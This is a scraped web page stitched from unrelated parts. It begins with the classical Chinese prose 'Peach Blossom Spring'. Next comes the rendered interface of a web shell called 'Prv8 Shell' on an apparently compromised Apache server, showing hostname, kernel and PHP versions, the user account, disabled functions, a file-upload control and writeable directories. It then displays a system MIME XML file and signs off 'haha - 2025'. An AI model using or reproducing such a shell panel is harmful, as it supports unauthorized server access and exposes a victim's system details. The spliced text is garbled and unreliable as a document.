晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/message/external-body.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="message/external-body">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>reference to remote file</comment>
  <comment xml:lang="ar">مرجع إلى ملف بعيد</comment>
  <comment xml:lang="az">uzaq fayla göstəriş</comment>
  <comment xml:lang="be@latin">spasyłka da addalenaha fajłu</comment>
  <comment xml:lang="bg">Препратка към отдалечен файл</comment>
  <comment xml:lang="ca">referència a fitxer remot</comment>
  <comment xml:lang="cs">odkaz na vzdálený soubor</comment>
  <comment xml:lang="cy">cyfeiriad at ffeil bell</comment>
  <comment xml:lang="da">reference til fjern fil</comment>
  <comment xml:lang="de">Verweis auf entfernte Datei</comment>
  <comment xml:lang="el">Αναφορά σε απομακρυσμένο αρχείο</comment>
  <comment xml:lang="en_GB">reference to remote file</comment>
  <comment xml:lang="eo">referenco al fora dosiero</comment>
  <comment xml:lang="es">referencia a un archivo remoto</comment>
  <comment xml:lang="eu">erreferentzia urruneko fitxategiari</comment>
  <comment xml:lang="fi">viittaus etätiedostoon</comment>
  <comment xml:lang="fo">tilvísing til fjarfílu</comment>
  <comment xml:lang="fr">référence au fichier distant</comment>
  <comment xml:lang="ga">tagairt do chomhad cianda</comment>
  <comment xml:lang="gl">referencia a un ficheiro remoto</comment>
  <comment xml:lang="he">התיחסות לקובץ מרוחק</comment>
  <comment xml:lang="hr">Preporuka na udaljenu datoteku</comment>
  <comment xml:lang="hu">hivatkozás távoli fájlra</comment>
  <comment xml:lang="ia">Referentia a un file remote</comment>
  <comment xml:lang="id">referensi ke berkas jarak jauh</comment>
  <comment xml:lang="it">Riferimento a file remoto</comment>
  <comment xml:lang="ja">リモートファイルへの参照</comment>
  <comment xml:lang="kk">қашықтағы файлға сілтеме</comment>
  <comment xml:lang="ko">원격 파일 참조</comment>
  <comment xml:lang="lt">nuoroda į nutolusį failą</comment>
  <comment xml:lang="lv">norāde uz attālinātu datni</comment>
  <comment xml:lang="ms">Rujukan ke fail jauh</comment>
  <comment xml:lang="nb">referanse til ekstern fil</comment>
  <comment xml:lang="nl">verwijzing naar bestand op afstand</comment>
  <comment xml:lang="nn">referanse til fil over nettverk</comment>
  <comment xml:lang="oc">referéncia al fichièr distant</comment>
  <comment xml:lang="pl">Odwołanie do pliku zdalnego</comment>
  <comment xml:lang="pt">referência a um ficheiro remoto</comment>
  <comment xml:lang="pt_BR">Referência para arquivo remoto</comment>
  <comment xml:lang="ro">referință fișier la distanță</comment>
  <comment xml:lang="ru">Ссылка на удалённый файл</comment>
  <comment xml:lang="sk">Odkaz na vzdialený súbor</comment>
  <comment xml:lang="sl">sklic do oddaljene datoteke</comment>
  <comment xml:lang="sq">Referim për tek file në distancë</comment>
  <comment xml:lang="sr">упута на удаљену датотеку</comment>
  <comment xml:lang="sv">referens till fjärrfil</comment>
  <comment xml:lang="tr">uzaktaki dosyaya başvuru</comment>
  <comment xml:lang="uk">посилання на віддалений файл</comment>
  <comment xml:lang="vi">tham chiếu đến tập tin ở xa</comment>
  <comment xml:lang="zh_CN">到远程文件的引用</comment>
  <comment xml:lang="zh_TW">遠端檔案的參照</comment>
  <generic-icon name="text-x-generic"/>
</mime-type>

haha - 2025